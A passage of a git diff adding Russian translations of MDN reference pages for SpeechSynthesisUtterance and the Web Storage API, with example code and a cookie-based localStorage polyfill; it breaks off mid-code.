+ <dd>Срабатывает, когда возникает ошибка, которая препятствует успешному произнесению высказывания.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onmark")}}</dt>
+ <dd>Срабатывает, когда произнесенное высказывание достигает названного тега метки «SSML».</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onpause")}}</dt>
+ <dd>Срабатывает, когда высказывание приостановлено.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onresume")}}</dt>
+ <dd>Срабатывает, когда приостановленное высказывание возобновляется.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance.onstart")}}</dt>
+ <dd>Срабатывает, когда произнесение произнесено.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>В нашей базовой <a href="https://github.com/mdn/web-speech-api/tree/master/speak-easy-synthesis">Демо-версия синтезатора речи</a>, мы сначала получаем ссылку на контроллер SpeechSynthesis, используя <code>window.speechSynthesis</code>. После определения некоторых необходимых переменных мы получаем список доступных голосов, используя {{domxref("SpeechSynthesis.getVoices()")}}, и заполнить меню выбора с ними, чтобы пользователь мог выбрать, какой голос он хочет.</p>
+
+<p>Внутри обработчика <code>inputForm.onsubmit</code> мы останавливаем отправку формы с помощью <a href="/en-US/docs/Web/API/Event/preventDefault">preventDefault()</a>, используйте {{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()", "constructor")}} для создания нового экземпляра высказывания, содержащего текст из текста {{htmlelement("input")}}, установите {{domxref("SpeechSynthesisUtterance.voice","voice")}}на голос, выбранный в элементе {{htmlelement("select")}} и начните высказывание через {{domxref("SpeechSynthesis.speak()")}} метод.</p>
+
+<pre class="brush: js">var synth = window.speechSynthesis;
+
+var inputForm = document.querySelector('form');
+var inputTxt = document.querySelector('input');
+var voiceSelect = document.querySelector('select');
+
+var voices = synth.getVoices();
+
+for(i = 0; i &lt; voices.length ; i++) {
+  var option = document.createElement('option');
+  option.textContent = voices[i].name + ' (' + voices[i].lang + ')';
+  option.setAttribute('data-lang', voices[i].lang);
+  option.setAttribute('data-name', voices[i].name);
+  voiceSelect.appendChild(option);
+}
+
+inputForm.onsubmit = function(event) {
+  event.preventDefault();
+
+  var utterThis = new SpeechSynthesisUtterance(inputTxt.value);
+  var selectedOption = voiceSelect.selectedOptions[0].getAttribute('data-name');
+  for(i = 0; i &lt; voices.length ; i++) {
+    if(voices[i].name === selectedOption) {
+      utterThis.voice = voices[i];
+    }
+  }
+  synth.speak(utterThis);
+  inputTxt.blur();
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Speech API', '#utterance-attributes', 'SpeechSynthesisUtterance')}}</td>
+   <td>{{Spec2('Web Speech API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.SpeechSynthesisUtterance")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a></li>
+</ul>
diff --git a/files/ru/web/api/storage/clear/index.html b/files/ru/web/api/storage/clear/index.html
new file mode 100644
index 0000000000..ca829dae1b
--- /dev/null
+++ b/files/ru/web/api/storage/clear/index.html
@@ -0,0 +1,121 @@
+---
+title: Storage.clear()
+slug: Web/API/Storage/clear
+translation_of: Web/API/Storage/clear
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>Метод <code>clear()</code> интерфейса {{domxref("Storage")}} удалит все значения из хранилища.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js"><em>storage</em>.clear();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p><em>Метод не принимает параметры.</em></p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><em>Метод не возвращает значение.</em></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующая функция создает 3 записи в локальном хранилище, после этого все значения удаляются с помощью метода <code>clear()</code>.</p>
+
+<pre class="brush: js">function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+
+  localStorage.clear();
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Чтобы вживую посмотреть на работу функции, посетите страницу демонстрации <a href="https://github.com/mdn/web-storage-demo">Web Storage</a>.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-clear', 'clear()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Начиная с версии iOS 5.1, Safari Mobile хранит данные <code>localStorage</code> в папке cache, которая периодически подлежит очистке по требованию ОС, как правило при недостаточном количестве свободного места.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></p>
diff --git a/files/ru/web/api/storage/getitem/index.html b/files/ru/web/api/storage/getitem/index.html
new file mode 100644
index 0000000000..1780f54ec3
--- /dev/null
+++ b/files/ru/web/api/storage/getitem/index.html
@@ -0,0 +1,131 @@
+---
+title: Storage.getItem()
+slug: Web/API/Storage/getItem
+translation_of: Web/API/Storage/getItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>Если в метод <code>getItem()</code> интерфейса {{domxref("Storage")}} передать ключ в качестве параметра, то метод вернет значение, лежащее в хранилище по указанному ключу.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>aValue</em> = <em>storage</em>.getItem(<em>названиеКлюча</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace"><em>названиеКлюча</em></font></dt>
+ <dd>Является строкой {{domxref("DOMString")}}, содержащей название ключа, по которому получается значение из хранилища.</dd>
+</dl>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Является строкой {{domxref("DOMString")}}, содержащей значение для соответствующего ключа.  Если ключ не существует, то будет возвращено значение <code>null</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующая функция получает 3 значения из локального хранилища, после этого они используются для установки стилей на странице.</p>
+
+<pre class="brush: js">function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Чтобы вживую посмотреть на работу функции, посетите страницу демонстрации <a href="https://github.com/mdn/web-storage-demo">Web Storage</a>.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-getitem', 'getItem()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Начиная с версии iOS 5.1, Safari Mobile хранит данные <code>localStorage</code> в папке cache, которая периодически подлежит очистке по требованию ОС, как правило при недостаточном количестве свободного места</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></p>
diff --git a/files/ru/web/api/storage/index.html b/files/ru/web/api/storage/index.html
new file mode 100644
index 0000000000..662d4c1057
--- /dev/null
+++ b/files/ru/web/api/storage/index.html
@@ -0,0 +1,164 @@
+---
+title: Storage
+slug: Web/API/Storage
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Storage
+  - Web Storage
+  - data
+translation_of: Web/API/Storage
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p><code>Интерфейс Storage</code> из Web Storage API предоставляет доступ для session storage или local storage для конкретного домена, позволяя вам к примеру добавлять, изменять или удалять сохранённые элементы данных.</p>
+
+<p>Если вы хотите управлять session storage для домена, вы вызываете {{domxref("Window.sessionStorage")}} метод; Если вы хотите управлять local storage домена, вы вызываете {{domxref("Window.localStorage")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Storage.length")}} {{readonlyInline}}</dt>
+ <dd>Возвращает число, представляющее количество элементов в объекте <code>Storage</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Storage.key()")}}</dt>
+ <dd>Приняв число n, метод вернёт имя n-ного ключа в Storage</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Storage.getItem()")}}</dt>
+ <dd>Приняв имя ключа, метод вернёт для него значение.</dd>
+ <dt>{{domxref("Storage.setItem()")}}</dt>
+ <dd>Приняв имя ключа и значение, метод добавит этот ключ в Storage или обновит его значение, если ключ уже существовал.</dd>
+ <dt>{{domxref("Storage.removeItem()")}}</dt>
+ <dd>Приняв имя ключа, метод удалит этот ключ из Storage</dd>
+ <dt>{{domxref("Storage.clear()")}}</dt>
+ <dd>При вызове метод удалит все ключи из Storage.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В данном примере мы получаем доступ к объекту Storage вызывая localStorage. Для начала мы проверяем содержит ли local storage элементы данных используя <code>!localStorage.getItem('bgcolor')</code>. Если да, мы вызываем функцию <code>setStyles()</code> которая получает элементы данных используя {{domxref("localStorage.getItem()")}} и использует их значения для обновления стилей на странице. Если нет, мы вызывает другую функцию, <code>populateStorage()</code>, которая использует {{domxref("localStorage.setItem()")}} что бы установить значения для элементов,  потом вызываем <code>setStyles()</code>.</p>
+
+<pre class="brush: js notranslate">if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+
+function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}
+
+function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<div class="note">
+<p><strong>Важно</strong>: Если хотите увидеть данный пример в работе, посмотрите наше <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#the-storage-interface', 'Storage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Все браузеры имеют различную вместимость для localStorage и sessionStorage. Вот <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное сравнение всех storage для различных браузеров</a>.</p>
+
+<div class="note">
+<p><strong>Важно: </strong>Начиная с iOS 5.1, Safari Mobile хранит данные localStorage в папке кэша, которая является объектом для периодических чисток по желанию OS, в основном из-за нехватки памяти.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Используя Web Storage API</a></p>
diff --git a/files/ru/web/api/storage/key/index.html b/files/ru/web/api/storage/key/index.html
new file mode 100644
index 0000000000..f8ff0d97b5
--- /dev/null
+++ b/files/ru/web/api/storage/key/index.html
@@ -0,0 +1,128 @@
+---
+title: Storage.key()
+slug: Web/API/Storage/key
+tags:
+  - API
+  - Storage
+  - Web Storage
+  - Справка
+  - Хранилище
+translation_of: Web/API/Storage/key
+---
+<p>{{APIRef()}}</p>
+
+<p>Метод key() интерфейса {{domxref("Storage")}} получает числовое значение n и возвращает имя n-ого ключа из хранилища.  Порядок ключей определяется браузером.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>aKeyName</em> = <em>storage</em>.key(<em>key</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>Ключ</em></dt>
+ <dd>Целое нумерованное значение представляющее номер ключа, которого Вы хотите получить. Индексация начинается с нуля. </dd>
+</dl>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>{{domxref("DOMString")}} , содержащий имя ключа.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующая функция перебирает все ключи из хранилища.</p>
+
+<pre class="brush: js">function forEachKey(callback) {
+  for (var i = 0; i &lt; localStorage.length; i++) {
+    callback(localStorage.key(i));
+  }
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Реальный пример Вы можете увидеть на <a href="https://github.com/mdn/web-storage-demo">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Стандарты">Стандарты</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Стандарт</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-key', 'key()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь вы найдете <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p>
+
+<div class="note">
+<p><strong>Примечание: </strong>начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть случайно  очищена по требованию OS, обычно это происходит, когда мало доступного места.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></p>
diff --git a/files/ru/web/api/storage/length/index.html b/files/ru/web/api/storage/length/index.html
new file mode 100644
index 0000000000..70722e9e11
--- /dev/null
+++ b/files/ru/web/api/storage/length/index.html
@@ -0,0 +1,122 @@
+---
+title: Storage.length
+slug: Web/API/Storage/length
+tags:
+  - API
+  - Storage
+  - Web Storage
+  - Справка
+translation_of: Web/API/Storage/length
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>Свойство length интерфейса {{domxref("Storage")}} доступно только для чтения и возвращает число с количеством элементов, которые хранятся в объекте <span style="font-family: consolas,monaco,andale mono,monospace;">Storage</span> на данный момент.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>aLength</em> = <em>storage</em>.length;</pre>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Число</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующая функция добавляет три элемента с данными в локальное хранилище для домена, на котором выполняется код и возвращает число элементов в хранилище:</p>
+
+<pre class="brush: js">function populateStorage() {
+  localStorage.setItem('bgcolor', 'yellow');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'cats.png');
+
+  localStorage.length; // return 3
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: чтобы посмотреть выполнение кода вживую, посетите страницу <a href="https://github.com/mdn/web-storage-demo">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-length', 'length')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Все браузеры имют различный уровень объема для localStorage и sessionStorage. Здесь <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p>
+
+<div class="note">
+<p><strong>Примечание: </strong>начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть очищена случайно по требованию OS, обычно это происходит, когда мало доступного места.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Использование Web Storage API</a></p>
diff --git a/files/ru/web/api/storage/localstorage/index.html b/files/ru/web/api/storage/localstorage/index.html
new file mode 100644
index 0000000000..e0a2cd72e7
--- /dev/null
+++ b/files/ru/web/api/storage/localstorage/index.html
@@ -0,0 +1,145 @@
+---
+title: LocalStorage
+slug: Web/API/Storage/LocalStorage
+translation_of: Web/API/Window/localStorage
+---
+<p><code>localStorage</code> это аналог <code><a href="/en-US/docs/Web/API/sessionStorage">sessionStorage</a></code>, с некоторыми same-origin правилами, но значения хранятся постоянно (в отличии от sessions). <code>localStorage</code> появился в Firefox 3.5.</p>
+
+<div class="note"><strong>Примечание:</strong> Когда браузер переходит в режим приватного просмотра, создается новое временное хранилище. Изначально оно пустое. После выхода из режима приватного просмотра временное хранилище очищается.</div>
+
+<pre class="brush:js" style="font-size: 14px;">// Сохраняет данные в текущий local store
+localStorage.setItem("username", "John");
+
+// Извлекает ранее сохраненные данные
+alert( "username = " + localStorage.getItem("username"));</pre>
+
+<p class="note"><code>localStorage</code>'s позволяет постоянно хранить некоторую полезную информацию, включая счетчики посещения страницы, как показано в примере <a href="http://codepen.io/awesom3/pen/Hlfma">this tutorial on Codepen</a>.</p>
+
+<h4 id="Совместимость" style="line-height: 18px; font-size: 1.28571428571429rem;">Совместимость</h4>
+
+<p><code>Storage</code> objects недавно добавлен в стандарт. Он может отсутствовать в некоторых браузерах. Вы можете работать с этой технологией добавив в страницу один из двух скриптов, которые представлены ниже. <code>localStorage</code> object реализуется програмно, если нет встроенной реализации.</p>
+
+<p>Этот алгоритм является точной имитацией <code>localStorage</code> object, но для хранения использует cookies.</p>
+
+<pre class="brush:js" style="font-size: 14px;">if (!window.localStorage) {
+  Object.defineProperty(window, "localStorage", new (function () {
+    var aKeys = [], oStorage = {};
+    Object.defineProperty(oStorage, "getItem", {
+      value: function (sKey) { return sKey ? this[sKey] : null; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "key", {
+      value: function (nKeyId) { return aKeys[nKeyId]; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "setItem", {
+      value: function (sKey, sValue) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "length", {
+      get: function () { return aKeys.length; },
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "removeItem", {
+      value: function (sKey) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "clear", {
+      value: function () {
+        if(!aKeys.length) { return; }
+        for (var sKey in aKeys) {
+          document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+        }
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    this.get = function () {
+      var iThisIndx;
+      for (var sKey in oStorage) {
+        iThisIndx = aKeys.indexOf(sKey);
+        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
+        else { aKeys.splice(iThisIndx, 1); }
+        delete oStorage[sKey];
+      }
+      for (aKeys; aKeys.length &gt; 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
+      for (var aCouple, iKey, nIdx = 0, aCouples = document.cookie.split(/\s*;\s*/); nIdx &lt; aCouples.length; nIdx++) {
+        aCouple = aCouples[nIdx].split(/\s*=\s*/);
+        if (aCouple.length &gt; 1) {
+          oStorage[iKey = unescape(aCouple[0])] = unescape(aCouple[1]);
+          aKeys.push(iKey);
+        }
+      }
+      return oStorage;
+    };
+    this.configurable = false;
+    this.enumerable = true;
+  })());
+}
+</pre>
+
+<div class="note"><strong>Примечание:</strong> Максимальныйe размер данных, которые могут быть сохранены, ограничен возможностями cookies. Используйте functions <code>localStorage.setItem()</code> и <code>localStorage.removeItem()</code> для добавления, изменения, или удаления ключа. Использование прямого присвоения <code>localStorage.yourKey = yourValue;</code> и <code>delete localStorage.yourKey;</code> для установки и удаления ключа <strong>не безопасно с этим кодом</strong>. Вы также можете изменить это имя (вместо window.localStorage прописать другое имя) и использовать объект для управления document's cookies, не обращая внимания на localStorage object.</div>
+
+<div class="note"><strong>Примечание:</strong> Если изменить строку <code style="background: rgb(204, 204, 204);">"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/"</code> на: <code style="background: rgb(204, 204, 204);">"; path=/"</code> (и изменить имя объекта), он превратится в <code>sessionStorage</code> polyfill больше, чем в <code>localStorage</code> polyfill. Однако эта реализация будет хранить общие значения для всех вкладок и окон браузера (and will only be cleared when all browser windows have been closed), в то время как полностью совместимая <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">sessionStorage</span><span style="line-height: 1.5em;"> реализация хранит значения</span><span style="line-height: 1.5em;"> to the current browsing context only.</span></div>
+
+<p>Here is another, less exact, imitation of the <code>localStorage</code> object. It is simpler than the previous one, but it is compatible with old browsers, like Internet Explorer &lt; 8 (<strong>tested and working even in Internet Explorer 6</strong>). It also makes use of cookies.</p>
+
+<pre class="brush:js" style="font-size: 14px;">if (!window.localStorage) {
+  window.localStorage = {
